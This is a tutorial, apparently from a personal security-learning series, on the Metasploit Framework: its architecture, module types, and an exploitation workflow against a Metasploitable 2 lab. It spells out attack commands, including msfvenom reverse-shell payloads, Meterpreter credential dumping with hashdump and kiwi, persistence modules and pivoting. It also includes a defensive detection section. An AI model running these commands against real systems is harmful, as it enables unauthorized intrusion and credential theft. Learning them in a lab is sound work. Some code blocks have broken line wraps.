

Metasploit Framework — Architecture, Workflow & Post-Exploitation

Metasploit is where nearly every offensive technique from this entire series converges into one integrated tool — the Nmap scan results from your Nmap guide feed directly into module selection here, the reverse shell concept from your Netcat guide becomes Metasploit's Meterpreter payload, and the privilege escalation techniques from your File Permissions and Windows Services guides get automated by Metasploit's post-exploitation modules. This guide covers the framework's architecture, the standard exploitation workflow, and what happens after you get a shell.

1. What Metasploit Actually Is

Metasploit is an open-source (with a commercial Pro tier) penetration testing framework that unifies exploit development, payload delivery, and post-exploitation into a single, modular platform. Rather than manually crafting each exploit from scratch, Metasploit provides a structured library of pre-built, tested modules that can be combined and configured through a consistent interface.

Manual approach:	research CVE → write custom exploit code → test → deliver payload → catch shell (your Netcat guide's manual reverse shell workflow)
Metasploit:	select exploit module → configure options → run → shell delivered automatically, with a far richer payload than a bare nc listener

2. Architecture — The Core Components

msfconsole	→ the primary interactive CLI interface (what you'll use 95% of the time)
Modules	→ the actual functional units (Section 3)
Rex library	→ Ruby Extension library – handles low-level protocol implementations (sockets, SSL, HTTP) that modules build on top of
Msfpcd	→ RPC daemon, allows Metasploit to be

```
Database (PostgreSQL)    controlled programmatically/remotely
                          (relevant if you ever integrate it into
                          a custom tool, similar in spirit to how
                          your SmartScan project calls the NVD API)
                          → stores scan results, discovered hosts,
                          credentials, loot from sessions –
                          persists state across msfconsole restarts
```

Starting up properly:

```
sudo systemctl start postgresql
msfdb init                # initialize the Metasploit da
                           tabase (first time only)
msfconsole
```

```
msf6 > db_status          # confirm database connectivity
```

Running with the database connected matters — without it, you lose host/service tracking, credential storage, and the ability to query previous scan results across sessions, all of which become genuinely valuable once an engagement grows beyond a single target.

3. The Module Types — Metasploit's Building Blocks

Module Type	Purpose
Exploit	Code that takes advantage of a specific vulnerability to deliver a payload
Payload	The code that actually runs on the target after successful exploitation (shell, Meterpreter, command execution)
Auxiliary	Scanning, fuzzing, enumeration — doesn't deliver a payload (port scanners, login brute-forcers, SMB enumeration — directly overlaps your Enum4linux/SMBMap guides)
Post	Post-exploitation modules — run <i>after</i> you already have a session (privilege escalation, credential harvesting, pivoting)
Encoder	Obfuscates payloads to evade signature-based detection
NOP	No-operation sled generators — used in certain buffer overflow exploit development scenarios
Evasion	Modules specifically focused on antivirus/EDR evasion

```
msf6 > show exploits
msf6 > show auxiliary
msf6 > show payloads
msf6 > search type:exploit platform:windows smb
```

4. The Standard Exploitation Workflow

```
1. search      → find a relevant module
2. use         → load the module
3. show options → see what needs configuring
4. set         → configure required options (RHOSTS, LHOST, etc.)
5. show payloads → for exploit modules, pick a matching payload
6. set payload → configure the payload
7. check (optional) → some modules support verifying
                        vulnerability WITHOUT exploiting -
                        genuinely useful for confirming a
                        target before committing to a
                        potentially noisy/disruptive exploit
8. run / exploit → launch it
```

Worked example — using your Metasploitable 2 lab and the vsftpd backdoor you've referenced across several earlier guides:

```
msf6 > search vsftpd
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 19
2.168.1.10
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set LHOST 192.
168.1.5
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > check
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
```

5. Key Options You'll Configure Constantly

```
RHOSTS → target host(s) – the "R" is for Remote
RHOST  → some older modules use singular form (single target only)
RPORT  → target port
LHOST  → YOUR listening host (for reverse payloads) – same
```

```
LPORT      role as the IP you'd bind nc -lvp to in your Netcat guide
PAYLOAD    → your listening port
           → which payload to deliver
```

```
msf6 > show missing      # quickly shows only the options
that
                           still need a value, once you
have several              configured — saves rereading
                           the full
                           options table every time
```

6. Payloads — Metasploit's Evolution of Your Netcat Reverse Shell

This is the direct conceptual bridge to your Netcat guide — a Metasploit payload accomplishes the exact same fundamental goal (get code executing on the target, establish a connection back to you), just with dramatically more capability once connected.

a) Payload Types

Type	Behavior
Singles	Self-contained, does one thing (e.g., add a user, execute one command) — no separate stager needed
Stagers	Small initial payload establishing a connection, then downloads/loads a larger second-stage payload — used to keep the initial exploit's payload size minimal
Stages	The larger, full-featured payload delivered by a stager (Meterpreter is the classic example)

```
windows/shell_reverse_tcp    → single, basic reverse shell
windows/meterpreter/reverse_tcp → staged: small stager delivers
                               the full Meterpreter payload
                               after the initial connection
```

b) Reverse vs. Bind — Same Distinction as Your Netcat Guide

```
reverse_tcp → target connects OUT to you (your Netcat guide's
              reverse shell – usually bypasses inbound firewall rules)
bind_tcp     → target listens, you connect IN (your Netcat guide's
              bind shell – used when outbound is restricted but
              inbound to the target isn't)
```

The exact firewall-behavior reasoning from your Netcat guide (outbound is typically less restricted than inbound, so reverse shells dominate real engagements) applies identically here — `reverse_tcp` variants are what you'll reach for by default in the overwhelming majority of cases.

7. Meterpreter — The Payload That Sets Metasploit Apart

Meterpreter is Metasploit's advanced, in-memory payload — where a raw Netcat reverse shell gives you a basic command prompt, Meterpreter gives you a rich, extensible post-exploitation environment that never touches disk on the target (reducing AV/EDR detection surface) and communicates over an encrypted channel.

```
msf6 exploit(...) > set payload windows/meterpreter/reverse
_payload
msf6 exploit(...) > exploit

meterpreter >
```

Core Meterpreter commands — genuinely worth memorizing, since these come up in nearly every session:

```
sysinfo          → target OS/architecture info
getuid           → current user context (parallels `whoami`
                  from your Command Injection guide's
                  recon commands table)
ps               → list running processes
migrate <PID>    → move Meterpreter's process into a
                  different, often more stable or
                  higher-privileged, running process
shell            → drop into a native OS command shell
                  from within the Meterpreter session
background       → suspend the session, return to
```

```
sessions -i <id>                                msfconsole without killing it  
                                                  → return to a backgrounded session
```

8. Post-Exploitation — Where Your Earlier Guides Get Automated

This is genuinely the most valuable connection point in this entire guide — everything you manually learned in your File Permissions, Windows Services, and Enum4linux guides has a direct Metasploit `post` module equivalent, automating the exact same checks.

a) Privilege Escalation

```
meterpreter > run post/multi/recon/local_exploit_suggester
```

This module automatically checks the target against a large library of known local privilege escalation exploits, based on OS/patch level fingerprinting — directly automating the manual SUID-binary hunting (`find / -perm -4000`) and unquoted-service-path checking from your File Permissions and Windows Services guides.

```
meterpreter > getsystem      # Windows-specific — attempts  
several                     known token-impersonation/  
named-pipe                  techniques automatically t  
o escalate                  straight to SYSTEM, the sa  
me target                   privilege level discussed  
throughout                  your Windows Services guid  
e
```

b) Credential Harvesting

```
meterpreter > run post/windows/gather/hashdump
meterpreter > load kiwi
meterpreter > creds_all # Mimikatz functionality built directly into Meterpreter — the exact LSASS credential dumping technique referenced in your ATT&CK and File Permissions guides
```

c) Persistence

```
meterpreter > run post/windows/manage/persistence_exe
```

Establishes a mechanism to regain access even if the original session drops — conceptually the same goal as the Installation stage from your Cyber Kill Chain guide, automated instead of manually configured via a scheduled task or service (per your Windows Services and Cron Jobs guides).

d) Pivoting — Reaching Further Into the Network

```
meterpreter > run autoroute -s 10.10.20.0/24
meterpreter > background
msf6 > use auxiliary/server/socks_proxy
```

Once you've compromised one host, `autoroute` lets you route further scanning/exploitation traffic **through** that compromised machine into network segments you couldn't reach directly — directly extending your Nmap guide's scanning capability into internal networks, using the compromised host as a relay point, exactly the lateral movement concept from your ATT&CK guide's Lateral Movement tactic.

e) File System Interaction

```
meterpreter > download /etc/passwd
meterpreter > upload ./linpeas.sh /tmp/
meterpreter > search -f "*.kdbx" # hunt for interesting files
                                     (password manager databases,
                                     config files, etc.)
```

9. Auxiliary Modules — Overlapping Directly With Your Recon Guides

```
msf6 > use auxiliary/scanner/smb/smb_version
msf6 > use auxiliary/scanner/smb/smb_enumshares # overlaps directly with your SMBMap guide's enumeration
msf6 > use auxiliary/scanner/ssh/ssh_login # brute-force, overlaps your Authentication guide's brute-force section
msf6 > use auxiliary/scanner/portscan/tcp # a basic
```



```
port  
  
scanner,  
  
though  
  
Nmap  
  
remains  
  
the better  
  
tool for  
  
this
```

Worth knowing these exist, though in practice you'll typically still prefer your dedicated tools (Nmap/NSE, Enum4linux, SMBMap) from earlier guides for pure recon — Metasploit's auxiliary modules shine most when you want recon results to flow directly into the framework's database for correlation with subsequent exploitation.

10. Integrating Nmap Results Directly Into Metasploit

```
msf6 > db_nmap -sV -p- 192.168.1.10  
msf6 > hosts # view discovered hosts from the database  
msf6 > services # view discovered services  
msf6 > vulns # view any vulnerabilities Metasploit has correlated for those services
```

Running Nmap **through** Metasploit's `db_nmap` (rather than separately and manually importing) automatically populates the framework's database — meaning your entire Nmap/NSE guide's scanning workflow can feed directly

into module selection here, closing the loop between recon and exploitation within a single tool session.

11. Handlers — Catching a Payload Delivered Outside Metasploit

Sometimes you generate a Metasploit payload but deliver it through a completely separate mechanism (a phishing attachment, a command injection vulnerability from your Command Injection guide, a manually uploaded web shell) — in these cases, you need a standalone **listener** ready to catch the resulting connection:

```
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.5
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > run
```

This is functionally the exact same role as `nc -lvp 4444` from your Netcat guide — just configured to properly receive and upgrade a Meterpreter connection instead of a bare shell.

Generating a standalone payload with `msfvenom` (for delivery via command injection, a malicious file upload, etc.):

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f exe -o payload.exe
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f elf -o payload.elf
```

This is exactly the tool that would generate the payload you'd deliver via your Command Injection guide's reverse-shell technique, or via a file upload vulnerability, when you want the richer Meterpreter capability instead of a bare Netcat shell.

12. Practical Full Workflow Example — Metasploitable 2

Tying together everything from this guide against your existing lab environment:

```
msf6 > db_nmap -sV 192.168.1.10
msf6 > services
msf6 > search vsftpd
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(...) > set RHOSTS 192.168.1.10
msf6 exploit(...) > run

# Post-exploitation once you have a session:
meterpreter > sysinfo
meterpreter > getuid
meterpreter > run post/multi/recon/local_exploit_suggester
meterpreter > shell
```

13. Detection/Defensive Angle (SOC Relevance)

Since you're also building SOC skills, worth knowing what Metasploit activity looks like from the defender's side:

- Meterpreter's default network traffic has documented signatures that many IDS/IPS/EDR products detect out of the box, unless encoding/encryption evasion techniques are specifically applied
- Payload files generated by msfvenom without further obfuscation are frequently caught by signature-based AV – this is exactly why Encoder/Evasion modules exist as a distinct category (Section 3)
- Your tcpdump guide's SYN-scan-pattern detection technique applies identically to spotting Metasploit's own auxiliary port-scanning modules on the wire
- Event ID 4697 (service installation, from your Windows Services guide) is a strong detection point for Metasploit's persistence modules specifically

Kill Chain / ATT&CK Mapping

Metasploit Component	Kill Chain Stage	MITRE ATT&CK
Auxiliary scanners	Reconnaissance	T1046, T1595
Exploit modules	Exploitation	T1190, T1203

Metasploit Component	Kill Chain Stage	MITRE ATT&CK
Payloads / Meterpreter delivery	Installation	T1059
Handler / C2 session	Command & Control	T1071
<code>getsystem</code> / <code>local_exploit_suggester</code>	Privilege Escalation	T1068
<code>hashdump</code> / <code>kiwi</code>	Credential Access	T1003
<code>autoroute</code> / pivoting	Lateral Movement	T1090, T1021
Persistence modules	Persistence	T1543, T1053

Quick Reference Cheat Sheet

```
# Setup
msfdb init
msfconsole
db_status

# Core workflow
search <term>
use <module path>
show options
set RHOSTS <target>
set LHOST <your IP>
set payload <payload path>
check
run

# Nmap integration
db_nmap -sV -p- <target>
hosts / services / vulns

# Meterpreter essentials
sysinfo / getuid / ps / migrate <PID> / shell / background
sessions -i <id>

# Post-exploitation
run post/multi/recon/local_exploit_suggester
getsystem
```

```
load kiwi ; creds_all
run autoroute -s <subnet>/24

# Standalone payload + handler
msfvenom -p <payload> LHOST=<ip> LPORT=<port> -f <format> -
o out.exe
use exploit/multi/handler
```